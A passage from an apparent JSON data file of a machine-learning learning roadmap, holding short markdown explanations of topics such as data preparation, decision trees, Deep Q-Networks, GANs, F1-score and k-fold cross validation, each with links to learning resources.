    "path": "src/data/roadmaps/machine-learning/content/data-preparation@-W2uAccH7Y2XIwhfl9mDF.md",
    "content": "# Data Preparation in Scikit-learn\n\nScikit-learn provides tools to get your data ready for machine learning models. This often involves cleaning, transforming, and scaling your data. Cleaning might mean handling missing values using techniques like imputation. Transformation can involve converting categorical features into numerical ones using methods like one-hot encoding. Scaling ensures that all features contribute equally to the model by bringing them to a similar range, using techniques like standardization or normalization. These steps help improve the performance and accuracy of your machine learning models.\n\nVisit the following resources to learn more:\n\n- [@official@Preprocessing data](https://scikit-learn.org/stable/modules/preprocessing.html)\n- [@video@Scikit-learn Crash Course - Machine Learning Library for Python](https://www.youtube.com/watch?v=0B5eIE_1vpU&t=188s)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/data-sources@-oRH7LgigHcfBkNF1xwxh.md",
    "content": "# Data Sources\n\nSources of data are origins or locations from which data is collected, categorized as primary (direct, firsthand information) or secondary (collected by others). Common primary sources include surveys, interviews, experiments, and sensor data. Secondary sources encompass databases, published reports, government data, books, articles, and web data like social media posts. Data sources can also be classified as internal (within an organization) or external (from outside sources)."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/data-structures@R9DQNc0AyAQ2HLpP4HOk6.md",
    "content": "# Python Data Structures\n\nPython provides several built-in data structures for organizing and storing data. These structures include lists, which are ordered and mutable collections; tuples, which are ordered and immutable collections; dictionaries, which store data in key-value pairs; and sets, which are unordered collections of unique elements. Each data structure offers different performance characteristics and is suitable for various tasks depending on the specific requirements of the program.\n\nVisit the following resources to learn more:\n\n- [@official@Data Structures](https://docs.python.org/3/tutorial/datastructures.html)\n- [@video@Data Structures and Algorithms in Python - Full Course for Beginners](https://www.youtube.com/watch?v=pkYVOmU3MgA)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/databases-sql-no-sql@VdMhrAi48V-JXw544YTKI.md",
    "content": "# Databases (SQL, No-SQL)\n\nDatabases are organized collections of data, stored and accessed electronically. SQL databases, like MySQL or PostgreSQL, use a structured, table-based format with a predefined schema, enforcing relationships between data through keys. NoSQL databases, such as MongoDB or Cassandra, offer more flexible data models like document, key-value, or graph, allowing for unstructured or semi-structured data and often prioritizing scalability and speed over strict consistency.\n\nVisit the following resources to learn more:\n\n- [@article@Types of Databases: Relational, NoSQL, Cloud, Vector](https://www.datacamp.com/blog/types-of-databases-overview)\n- [@article@Types of Databases - MongoDB](https://www.mongodb.com/resources/basics/databases/types)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/decision-trees-random-forest@arlmRF5pYglsbHb-HR-2x.md",
    "content": "# Decision Trees and Random Forests\n\nDecision Trees are a way to make predictions by learning decision rules from data features. Imagine a flowchart where each internal node represents a test on an attribute (like \"Is the color red?\"), each branch represents the outcome of the test, and each leaf node represents a class label (like \"apple\" or \"banana\"). Random Forests improve upon this by creating multiple decision trees on different subsets of the data and features, then combining their predictions to get a more accurate and robust result."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/deep-learning-architectures@_Z2miSW4PwILMRtBFajBn.md",
    "content": "# Deep Learning Architectures\n\nDeep learning architectures are the specific arrangements of layers within a neural network that define how data is processed and transformed. These architectures consist of interconnected nodes (neurons) organized in layers, where each layer performs a specific computation. Different architectures are designed to excel at different tasks, such as image recognition, natural language processing, or time series analysis, by employing unique connection patterns, layer types, and activation functions.\n\nVisit the following resources to learn more:\n\n- [@article@What is a neural network?](https://www.cloudflare.com/en-gb/learning/ai/what-is-neural-network/)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/deep-learning-libraries@A_Kx3pEj0jpnLJzdOpcQ9.md",
    "content": "# Deep Learning Libraries\n\nDeep learning relies heavily on specialized Python libraries that provide pre-built functions and tools for building and training neural networks. TensorFlow, developed by Google, is a widely used library known for its flexibility and scalability. PyTorch, created by Facebook, is another popular choice, favored for its dynamic computation graph and ease of use, especially in research. Keras acts as a high-level API that can run on top of TensorFlow or other backends, simplifying the process of building complex models. These libraries offer functionalities like automatic differentiation, GPU acceleration, and pre-trained models, making deep learning more accessible and efficient."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/deep-q-networks@9o-ZT9oZIE3hCXD6eWZI0.md",
    "content": "# Deep Q-Networks (DQN)\n\nDeep Q-Networks (DQNs) are a type of reinforcement learning algorithm that combines Q-learning with deep neural networks. Instead of using a traditional Q-table to store Q-values (which represent the expected reward for taking a specific action in a specific state), DQNs use a neural network to approximate the Q-function. This allows DQNs to handle environments with large or continuous state spaces where a Q-table would be impractical. The neural network takes the state as input and outputs the Q-values for each possible action, enabling the agent to learn optimal policies through trial and error.\n\nVisit the following resources to learn more:\n\n- [@article@The Deep Q-Learning Algorithm](https://huggingface.co/learn/deep-rl-course/en/unit3/deep-q-algorithm)\n- [@video@Deep Q-Learning/Deep Q-Network (DQN) Explained | Python Pytorch Deep Reinforcement Learning](https://www.youtube.com/watch?v=EUrWGTCGzlA)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/derivatives-partial-derivatives@GN6SnI7RXIeW8JeD-qORW.md",
    "content": "# Derivatives and Partial Derivatives\n\nA derivative measures how a function changes as its input changes. Imagine a curve on a graph; the derivative at a specific point tells you the slope of the line tangent to that curve at that point. When dealing with functions of multiple variables, we use partial derivatives. A partial derivative measures how a function changes with respect to one specific variable, while holding all other variables constant.\n\nVisit the following resources to learn more:\n\n- [@article@Derivatives](https://en.wikipedia.org/wiki/Derivative)\n- [@video@What is a Derivative? Deriving the Power Rule](https://www.youtube.com/watch?v=x3iEEDxrhyE)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/descriptive-statistics@ZaoZ2XxicKuTDn4uxe52L.md",
    "content": "# Descriptive Statistics\n\nDescriptive statistics involves methods for summarizing and organizing data in a meaningful way. It focuses on describing the main features of a dataset using measures like mean, median, mode, standard deviation, and range. These techniques help to understand the central tendency, variability, and distribution of the data without making inferences beyond the specific dataset.\n\nVisit the following resources to learn more:\n\n- [@article@Descriptive Statistics: Definition, Overview, Types, and Examples](https://www.investopedia.com/terms/d/descriptive_statistics.asp)\n- [@article@Descriptive Statistics | Definitions, Types, Examples](https://www.scribbr.com/statistics/descriptive-statistics/)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/determinants-inverse-of-matrix@XmnWnPE1sVXheuc-M_Ew7.md",
    "content": "# Determinants and Inverse of a Matrix\n\nA determinant is a scalar value that can be computed from the elements of a square matrix and encodes certain properties of the linear transformation described by the matrix. The inverse of a matrix, denoted as A⁻¹, is another matrix that, when multiplied by the original matrix A, results in the identity matrix. The inverse exists only for square matrices with a non-zero determinant, making the matrix invertible.\n\nVisit the following resources to learn more:\n\n- [@article@Determinant of a Matrix](https://www.mathsisfun.com/algebra/matrix-determinant.html)\n- [@article@Inverse of a Matrix](https://www.mathsisfun.com/algebra/matrix-inverse.html)\n- [@video@Determinant of a Matrix](https://www.youtube.com/watch?v=CcbyMH3Noow)\n- [@video@Inverse Matrices and Their Properties](https://www.youtube.com/watch?v=kWorj5BBy9k)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/dimensionality-reduction@vQI-4uFQJ6694nm1SCpDR.md",
    "content": "# Dimensionality Reduction\n\nDimensionality reduction is the process of reducing the number of random variables under consideration by obtaining a set of principal variables. It can be divided into feature selection and feature extraction. Feature selection selects a subset of the original features, while feature extraction transforms the data into a lower-dimensional space. The goal is to simplify the data without losing important information, making it easier to analyze and model.\n\nVisit the following resources to learn more:\n\n- [@article@What is Dimensionality Reduction?](https://www.ibm.com/think/topics/dimensionality-reduction)\n- [@video@Machine Learning - Dimensionality Reduction](https://www.youtube.com/watch?v=AU_hBML2H1c)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/dimensionality-reduction@y3-nWiDjlY6ZwqmxBUvhd.md",
    "content": "# Dimensionality Reduction\n\nDimensionality reduction is the process of reducing the number of random variables under consideration by obtaining a set of principal variables. It can be divided into feature selection and feature extraction. Feature selection selects a subset of the original features, while feature extraction transforms the data into a lower-dimensional space. The goal is to simplify the data without losing important information, making it easier to analyze and model.\n\nVisit the following resources to learn more:\n\n- [@article@What is Dimensionality Reduction?](https://www.ibm.com/think/topics/dimensionality-reduction)\n- [@video@Machine Learning - Dimensionality Reduction](https://www.youtube.com/watch?v=AU_hBML2H1c)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/discrete-mathematics@N_vLjBVdsGsoePtqlqh2w.md",
    "content": "# Discrete Mathematics\n\nDiscrete mathematics deals with mathematical structures that are fundamentally discrete rather than continuous. This means it focuses on objects that have distinct, separated values, like integers, graphs, and logical statements. It provides the theoretical foundations and tools for reasoning about and modeling these discrete structures. This field is essential for computer science, as it provides the foundation for understanding algorithms, data structures, and information networks.\n\nVisit the following resources to learn more:\n\n- [@article@Discrete Mathematics](https://en.wikipedia.org/wiki/Discrete_mathematics)\n- [@article@Discrete Math (Full Course: Sets, Logic, Proofs, Probability, Graph Theory, etc)](https://www.youtube.com/playlist?list=PLHXZ9OQGMqxersk8fUxiUMSIx0DBqsKZS)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/eigenvalues-diagonalization@3p98Uwf8gyALDr-89lBEZ.md",
    "content": "# Eigenvalues and Diagonalization\n\nEigenvalues are special numbers associated with a square matrix that, when multiplied by a corresponding eigenvector, result in the same vector scaled by that eigenvalue. Diagonalization is the process of transforming a square matrix into a diagonal matrix, where all off-diagonal elements are zero, using its eigenvectors and eigenvalues. This transformation simplifies many matrix operations and provides insights into the matrix's properties.\n\nVisit the following resources to learn more:\n\n- [@article@Eigenvalues and eigenvectors](https://en.wikipedia.org/wiki/Eigenvalues_and_eigenvectors)\n- [@article@Matrix Diagonalization](https://www.statlect.com/matrix-algebra/matrix-diagonalization)\n- [@video@Finding Eigenvalues and Eigenvectors](https://www.youtube.com/watch?v=TQvxWaQnrqI)\n- [@video@Diagonalization](https://www.youtube.com/watch?v=WTLl03D4TNA)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/elasticnet-regularization@0-6BV-MggAyD7g3JH45B7.md",
    "content": "# Elastic Net Regularization\n\nElastic Net is a regularization technique that combines the penalties of both L1 (Lasso) and L2 (Ridge) regularization methods. It aims to improve model performance by addressing limitations of each individual method, particularly in situations where there are many correlated features. By using a linear combination of L1 and L2 penalties, Elastic Net can perform feature selection (like Lasso) and handle multicollinearity (like Ridge) simultaneously.\n\nVisit the following resources to learn more:\n\n- [@article@ElasticNet| scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.linear_model.ElasticNet.html)\n- [@video@https://www.youtube.com/watch?v=xl6KAAVytEk](https://www.youtube.com/watch?v=xl6KAAVytEk)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/embeddings@CaHbAXDIJQXcQ9DZqziod.md",
    "content": "# Embeddings\n\nEmbeddings are a way to represent words, phrases, or even entire documents as numerical vectors in a high-dimensional space. The goal is to capture the semantic meaning of the text, so that words with similar meanings are located close to each other in the vector space. This allows machine learning models to understand relationships between words and perform tasks like text classification, sentiment analysis, and machine translation more effectively.\n\nVisit the following resources to learn more:\n\n- [@article@Getting Started With Embeddings](https://huggingface.co/blog/getting-started-with-embeddings)\n- [@article@A Guide on Word Embeddings in NLP](https://www.turing.com/kb/guide-on-word-embeddings-in-nlp)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/essential-libraries@ybqwtlHG4HMm5lyUKW2SO.md",
    "content": "# Essential Python Libraries for Data Analysis\n\nPython's popularity in data analysis stems from its rich ecosystem of specialized libraries. **NumPy** provides powerful tools for numerical computation, particularly with arrays and matrices. **Pandas** offers data structures like DataFrames, making it easy to organize, manipulate, and analyze tabular data. For visualization, **Matplotlib** is a fundamental library for creating static, interactive, and animated plots. Building on Matplotlib, **Seaborn** provides a high-level interface for drawing attractive and informative statistical graphics. These libraries collectively enable efficient data handling, exploration, and presentation."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/excel@K9Si7kJe946CcGWBGmDsZ.md",
    "content": "# Excel Files\n\nExcel files are a common way to store data in a structured format using rows and columns. Each cell in the spreadsheet can hold different types of data, like numbers, text, or dates. These files are often used for organizing, analyzing, and visualizing data because they are easy to create and manipulate using spreadsheet software."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/exceptions@fNTb9y3zs1HPYclAmu_Wv.md",
    "content": "# Exceptions\n\nExceptions in Python are events that disrupt the normal flow of a program's execution. They occur when the interpreter encounters an error during runtime, such as trying to divide by zero or accessing an index that's out of bounds in a list. When an exception occurs, Python creates an exception object. If the exception isn't handled, the program will terminate and display an error message. However, you can use `try` and `except` blocks to catch and handle exceptions, allowing your program to continue running even when errors occur.\n\nVisit the following resources to learn more:\n\n- [@official@Errors and Exceptions](https://docs.python.org/3/tutorial/errors.html)\n- [@article@Python Exceptions: An Introduction](https://realpython.com/python-exceptions/)\n- [@video@Learn Python EXCEPTION HANDLING in 5 minutes!](https://www.youtube.com/watch?v=V_NXT2-QIlE)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/exclusive@eErzKbR8sRNlrYcwNSRSh.md",
    "content": "# Exclusive Clustering\n\nExclusive clustering, also known as hard clustering, is a type of clustering where each data point can only belong to one cluster. This means there's no overlap between clusters; a data point is definitively assigned to a single group. The goal is to partition the data into distinct, non-overlapping clusters based on similarity. For example, K-Means is an exclusive clustering algorithm. It aims to partition n data points into k clusters in which each data point belongs to the cluster with the nearest mean (cluster centers or cluster centroid), serving as a prototype of the cluster.\n\nVisit the following resources to learn more:\n\n- [@article@K-means | scikit-learn](https://scikit-learn.org/stable/modules/clustering.html#k-means)\n- [@article@Unsupervised Clustering: A Guide](https://builtin.com/articles/unsupervised-clustering)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/explainable-ai@Tv3sZvus76dmu0X9AqCIU.md",
    "content": "# Explainable AI\n\nExplainable AI (XAI) focuses on making machine learning models and their decisions understandable to humans. Instead of treating models as black boxes, XAI aims to provide insights into how a model arrives at a particular prediction or decision. This involves developing techniques that allow us to interpret the model's internal logic, identify the factors that influence its outputs, and assess its reliability and potential biases.\n\nVisit the following resources to learn more:\n\n- [@article@What is Explainable AI (XAI)?](https://www.ibm.com/think/topics/explainable-ai)\n- [@article@Explainable AI (XAI) | Giskard](https://www.giskard.ai/glossary/explainable-ai-xai)\n- [@video@Explainable AI: Demystifying AI Agents Decision-Making](https://www.youtube.com/watch?v=yJkCuEu3K68)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/f1-score@FdNY8QUbPPpeHFgD8TTaD.md",
    "content": "# F1-Score\n\nThe F1-score is a way to measure how accurate a model is, considering both precision and recall. Precision tells you how many of the positive predictions made by the model were actually correct. Recall tells you how many of the actual positive cases the model was able to identify. The F1-score balances these two metrics, giving a single score that represents the overall performance of the model. It's calculated as the harmonic mean of precision and recall:`F1-Score = 2 * (Precision * Recall) / (Precision + Recall)`\n\nVisit the following resources to learn more:\n\n- [@article@F1-score | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.metrics.f1_score.html)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/feature-engineering@UmGdV94afOIbAL8MaxOWv.md",
    "content": "# Feature Engineering\n\nFeature engineering is the process of transforming raw data into features that better represent the underlying problem to the predictive models, resulting in improved model accuracy. This involves selecting, transforming, and creating new features from existing data. The goal is to extract more information from the data and make it easier for machine learning algorithms to learn patterns and make accurate predictions.\n\nVisit the following resources to learn more:\n\n- [@article@What is a feature engineering? | IBM](https://www.ibm.com/think/topics/feature-engineering)\n- [@article@Feature Engineering in Machine Learning: A Practical Guide](https://www.datacamp.com/tutorial/feature-engineering)\n- [@video@What is feature engineering | Feature Engineering Tutorial Python](https://www.youtube.com/watch?v=pYVScuY-GPk)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/feature-scaling--normalization@iBkTNbk8Xz626F_a3Bo5J.md",
    "content": "# Feature Scaling & Normalization\n\nFeature scaling is a preprocessing technique in machine learning that transforms numerical features to a common scale, ensuring they contribute equally to the model by preventing features with larger ranges from dominating, which is particularly important for algorithms sensitive to feature scales like gradient descent-based methods. Key methods include Standardization (transforming data to a mean of 0 and a standard deviation of 1, often better for outliers), and Normalization (scaling data to a fixed range, often 0 to 1).\n\nVisit the following resources to learn more:\n\n- [@article@Normalization vs. Standardization: How to Know the Difference](https://www.datacamp.com/tutorial/normalization-vs-standardization)\n- [@video@Standardization vs Normalization Clearly Explained!](https://www.youtube.com/watch?v=sxEqtjLC0aM)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/feature-selection@cigwKoltemM0q-M5O50Is.md",
    "content": "# Feature Selection\n\nFeature selection is the process of choosing a subset of the most relevant features from your original dataset. The goal is to reduce the dimensionality of the data by removing irrelevant, redundant, or noisy features. This can lead to simpler models, improved model performance (e.g., accuracy, speed), and better understanding of the underlying data.\n\nVisit the following resources to learn more:\n\n- [@article@What is Feature Selection? | IBM](https://www.ibm.com/think/topics/feature-selection)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/forward-propagation@LWLqa61GK5ukYzHpjinYi.md",
    "content": "# Forward Propagation\n\nForward propagation is the process of feeding input data through a neural network to generate an output. It involves taking the inputs, multiplying them by weights, adding biases, and then passing the result through an activation function at each layer of the network. This process is repeated layer by layer until the final output is produced.\n\nVisit the following resources to learn more:\n\n- [@article@Forward Propagation in Neural Networks: A Complete Guide](https://www.datacamp.com/tutorial/forward-propagation-neural-networks)\n- [@video@Forward Propagation in Neural Networks](https://www.youtube.com/watch?v=99CcviQchd8)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/functions-builtin-functions@-DJgS6l2qngfwurExlmmT.md",
    "content": "# Functions and Built-in Functions\n\nFunctions are reusable blocks of code that perform a specific task. They take inputs, process them, and return an output. Python provides many built-in functions like `print()` for displaying output, `len()` for finding the length of a sequence, and `type()` for determining the data type of a variable. These built-in functions are readily available for use, while you can also define your own custom functions, also known as user-defined functions (UDFs), to encapsulate specific logic and improve code organization.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in Functions](https://docs.python.org/3/library/functions.html)\n- [@article@Python Functions: How to Call & Write Functions](https://www.datacamp.com/tutorial/functions-python-tutorial)\n- [@video@Functions in Python | Python for Beginners](https://www.youtube.com/watch?v=zvzjaqMBEso)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/generative-adversarial-networks@IR0wVIcu1MxOOBiLBnn8S.md",
    "content": "# Generative Adversarial Networks\n\nGenerative Adversarial Networks (GANs) are a type of neural network architecture designed to generate new data that resembles the data they were trained on. They consist of two networks: a generator, which creates new data instances, and a discriminator, which evaluates the authenticity of the generated data. These two networks are trained in an adversarial process, where the generator tries to fool the discriminator, and the discriminator tries to distinguish between real and generated data. This competition drives both networks to improve, ultimately leading the generator to produce highly realistic data.\n\nVisit the following resources to learn more:\n\n- [@course@GANs | Google](https://developers.google.com/machine-learning/gan)\n- [@article@What is a GAN? | AWS](https://aws.amazon.com/what-is/gan/)\n- [@article@Generative Adversarial Networks | HuggingFace](https://huggingface.co/learn/computer-vision-course/en/unit5/generative-models/gans)\n- [@video@What are GANs (Generative Adversarial Networks)?](https://www.youtube.com/watch?v=TpMIssRdhco)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/gradient-boosting-machines@JuTTbL_pm1ltGvhUsIzQd.md",
    "content": "# Gradient Boosting Machines\n\nGradient Boosting Machines are a type of ensemble learning method that combines multiple weak learners, typically decision trees, to create a strong predictive model for classification tasks. The algorithm works iteratively, with each new tree trained to correct the errors made by the previous trees. This is achieved by focusing on the instances that were misclassified in the previous iterations, effectively \"boosting\" the performance of the model. Popular implementations of gradient boosting include XGBoost, LightGBM, CatBoost, and the original GradientBoostingClassifier, each offering variations in regularization, tree growth strategies, and handling of categorical features.\n\nVisit the following resources to learn more:\n\n- [@article@Gradient Boosting Classifier | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.GradientBoostingClassifier.html)\n- [@article@A Guide to The Gradient Boosting Algorithm](https://www.datacamp.com/tutorial/guide-to-the-gradient-boosting-algorithm)\n- [@article@Boosting Algorithms in Machine Learning, Part I: AdaBoost](https://medium.com/data-science/boosting-algorithms-in-machine-learning-part-i-adaboost-b9d86041a521)\n- [@article@Boosting Algorithms in Machine Learning, Part II: Gradient Boosting](https://towardsdatascience.com/boosting-algorithms-in-machine-learning-part-ii-gradient-boosting-c155ae505fe9/)\n- [@article@Gradient Boosting in Scikit-Learn: Hands-On Tutorial](https://www.youtube.com/watch?v=E2mCaIZNE2g)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/gradient-jacobian-hessian@3BxbkrBp8veZj38zdwN8s.md",
    "content": "# Gradient, Jacobian, and Hessian\n\nThe gradient, Jacobian, and Hessian are fundamental tools from calculus used to analyze and optimize functions, especially in the context of machine learning. The gradient of a scalar-valued function of multiple variables is a vector containing the partial derivatives with respect to each variable, indicating the direction of the steepest ascent. The Jacobian matrix generalizes the gradient to vector-valued functions of multiple variables, containing all the partial derivatives of each output component with respect to each input variable. The Hessian matrix, on the other hand, is the square matrix of second-order partial derivatives of a scalar-valued function, providing information about the local curvature of the function.\n\nVisit the following resources to learn more:\n\n- [@article@Vector Calculus: Understanding the Gradient](https://betterexplained.com/articles/vector-calculus-understanding-the-gradient/)\n- [@article@A Gentle Introduction to the Jacobian](https://machinelearningmastery.com/a-gentle-introduction-to-the-jacobian/)\n- [@article@A Gentle Introduction To Hessian Matrices](https://www.machinelearningmastery.com/a-gentle-introduction-to-hessian-matrices/)\n- [@video@Partial Derivatives and the Gradient of a Function](https://www.youtube.com/watch?v=AXH9Xm6Rbfc&t=320s&pp=ygURZ3JhZGllbnQgY2FsY3VsdXM%3D)\n- [@video@Change of Variables and the Jacobian](https://www.youtube.com/watch?v=hhFzJvaY__U)\n- [@video@Multivariable Calculus: Lecture 3 Hessian Matrix : Optimization for a three variable function](https://www.youtube.com/watch?v=zomvvohLwr4)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/graphs--charts@MYZUJ1uHIaRd1Gb4ORzwG.md",
    "content": "# Graphs & Charts\n\nGraphs and charts are visual representations of data. They use symbols like bars, lines, and slices to display patterns, trends, and relationships within datasets. These visual tools help in understanding complex information quickly and making data more accessible and interpretable.\n\nVisit the following resources to learn more:\n\n- [@article@What is Data Visualization?](https://www.ibm.com/think/topics/data-visualization)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/gru@ZWDSLqxmfg3aPBZFH479q.md",
    "content": "# Gated Recurrent Unit (GRU)\n\nA Gated Recurrent Unit (GRU) is a type of recurrent neural network (RNN) architecture. It's designed to handle the vanishing gradient problem often encountered when training standard RNNs, especially with long sequences of data. GRUs use \"gates\" to control the flow of information, deciding what information to keep and what to discard at each time step. These gates are learned during training and allow the network to selectively remember or forget previous states, making it more effective at capturing long-range dependencies in sequential data.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Gated Recurrent Unit (GRU) in Deep Learning](https://medium.com/@anishnama20/understanding-gated-recurrent-unit-gru-in-deep-learning-2e54923f3e2)\n- [@article@GRU Recurrent Neural Networks – A Smart Way to Predict Sequences in Python](https://towardsdatascience.com/gru-recurrent-neural-networks-a-smart-way-to-predict-sequences-in-python-80864e4fe9f6/)\n- [@video@Simple Explanation of GRU (Gated Recurrent Units)](https://www.youtube.com/watch?v=tOuXgORsXJ4)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/hierarchical@jJ8cXfHV2LG5PJGZRTHxB.md",
    "content": "# Hierarchical Clustering\n\nHierarchical clustering is a method of grouping data points into clusters based on their similarity, building a hierarchy of clusters. It starts by treating each data point as its own cluster and then iteratively merges the closest clusters until only one cluster remains, or a stopping criterion is met. This process creates a tree-like structure called a dendrogram, which visually represents the hierarchy of clusters. Scikit-learn provides an implementation of agglomerative hierarchical clustering through its `AgglomerativeClustering` class, which allows you to specify the linkage criterion (e.g., ward, complete, average) to determine how the distance between clusters is calculated.\n\nVisit the following resources to learn more:\n\n- [@article@Hierarchical clustering | scikit-learn](https://scikit-learn.org/stable/modules/clustering.html#hierarchical-clustering)\n- [@article@What is Hierarchical Clustering?](https://www.ibm.com/think/topics/hierarchical-clustering)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/image--video-recognition@jPvZdgye7cBf0bPMVGf7a.md",
    "content": "# Image and Video Recognition with CNNs\n\nConvolutional Neural Networks (CNNs) are a specialized type of neural network particularly effective at processing images and videos. In image recognition, CNNs can identify objects, scenes, and faces by learning spatial hierarchies of features from pixel data. For video recognition, CNNs analyze sequences of frames to understand actions, events, and even predict future occurrences. This is achieved by extracting relevant spatial and temporal features, enabling applications like video surveillance, autonomous driving, and content analysis."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/image-classification@E4k6WgNXdnNoApR675VKb.md",
    "content": "# Image Classification with Convolutional Neural Networks\n\nConvolutional Neural Networks (CNNs) are commonly used for image classification tasks. They work by automatically learning relevant features from images through convolutional layers, which detect patterns like edges and textures. These learned features are then used to classify the image into different categories, such as identifying objects like cats, dogs, or cars. CNNs excel at this because they can handle the high dimensionality of image data and are robust to variations in object position, scale, and lighting."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/image-segmentation@iSX9YExs1gS4L2CBQux5w.md",
    "content": "# Image Segmentation with Convolutional Neural Networks\n\nImage segmentation involves dividing an image into multiple regions or segments, often to identify objects or boundaries. Convolutional Neural Networks (CNNs) are widely used for this task. They learn spatial hierarchies of features from images, enabling pixel-wise classification. This means each pixel is assigned a label indicating which segment it belongs to. For example, in a self-driving car, CNNs can segment images to identify roads, pedestrians, and other vehicles, allowing the car to \"understand\" its surroundings. Other applications include medical image analysis for tumor detection and satellite imagery analysis for land cover classification."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/inferential-statistics@DUIrJwuYHlhJvZJT2acaY.md",
    "content": "# Inferential Statistics\n\nInferential statistics uses sample data to make inferences or predictions about a larger population. Instead of examining the entire population, which is often impractical or impossible, we analyze a representative subset (the sample) and then use statistical methods to draw conclusions about the characteristics of the whole population. This involves estimating population parameters (like the mean or proportion) and testing hypotheses about these parameters based on the sample data.\n\nVisit the following resources to learn more:\n\n- [@article@Inferential Statistics | An Easy Introduction & Examples](https://www.scribbr.com/statistics/inferential-statistics/)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/internet@cxTriSZvrmXP4axKynIZW.md",
    "content": "# Internet Data Sources\n\nThe internet serves as a vast repository of information that can be leveraged for machine learning projects. This includes publicly available datasets, web pages that can be scraped for relevant information, social media platforms where user-generated content provides insights into opinions and trends, and online databases that offer structured data on various topics. These sources provide a diverse range of data types, from text and images to numerical and categorical data, enabling the development of a wide array of machine learning models."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/introduction@MEL6y3vwiqwAV6FQihF34.md",
    "content": "# Introduction to Machine Learning\n\nMachine learning is about creating computer programs that can learn from data. Instead of being explicitly programmed to perform a task, these programs improve their performance on a specific task as they are exposed to more data. This learning process allows them to make predictions or decisions without being directly told how to do so.\n\nVisit the following resources to learn more:\n\n- [@article@What is Machine Learning?](https://www.ibm.com/topics/machine-learning)\n- [@video@What is Machine Learning?](https://www.youtube.com/watch?v=9gGnTQTYNaE)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/iot@KeGCHoJRHp-mBX-P5to4Y.md",
    "content": "# IoT Data Sources\n\nThe Internet of Things (IoT) refers to the network of physical devices, vehicles, home appliances, and other items embedded with electronics, software, sensors, and actuators that enable these objects to connect and exchange data. These devices continuously generate vast amounts of data reflecting their status, environment, and interactions. This data can include sensor readings like temperature, pressure, humidity, location, and images or video streams.\n\n*   [@article@What is the Internet of Things (IoT)?](https://www.ibm.com/think/topics/internet-of-things)\n*   [@article@Internet of Things](https://en.wikipedia.org/wiki/Internet_of_things)\n*   [@video@What is IoT (Internet of Things)? An Introduction](https://www.youtube.com/watch?v=4FxU-xpuCww)\n\nVisit the following resources to learn more:\n\n- [@article@What is the Internet of Things (IoT)?](https://www.ibm.com/think/topics/internet-of-things)\n- [@article@Internet of Things](https://en.wikipedia.org/wiki/Internet_of_things)\n- [@video@What is the IoT](https://www.youtube.com/watch?v=4FxU-xpuCww)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/json@kagKVPUyLtx8UPAFjRvbN.md",
    "content": "# JSON\n\nJavaScript Object Notation (JSON) is a standard text-based format for representing structured data based on JavaScript object syntax. It is commonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page, or vice versa).\n\nVisit the following resources to learn more:\n\n- [@article@Working with JSON](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/JSON)\n- [@video@JSON Tutorial for Beginners](https://www.youtube.com/watch?v=iiADhChRriM)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/k-fold-cross-validation@vRS7DW2WUaXiHk9oJgg3z.md",
    "content": "# K-Fold Cross Validation\n\nK-Fold Cross Validation is a technique used to assess how well a machine learning model will generalize to an independent dataset. It works by dividing the available data into _k_ equally sized folds or subsets. The model is then trained _k_ times, each time using _k-1_ folds as the training set and the remaining fold as the validation set. The performance metrics from each of the _k_ iterations are then averaged to provide an overall estimate of the model's performance.\n\nVisit the following resources to learn more:\n\n- [@article@Cross-validation: evaluating estimator performance | scikit-learn](https://scikit-learn.org/stable/modules/cross_validation.html)\n- [@article@A Comprehensive Guide to K-Fold Cross Validation](https://www.datacamp.com/tutorial/k-fold-cross-validation)\n- [@video@Complete Guide to Cross Validation](https://www.youtube.com/watch?v=-8s9KuNo5SA&t=925s)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/k-nearest-neighbors-knn@x7vlCNAxfJzobj9HcTaJy.md",
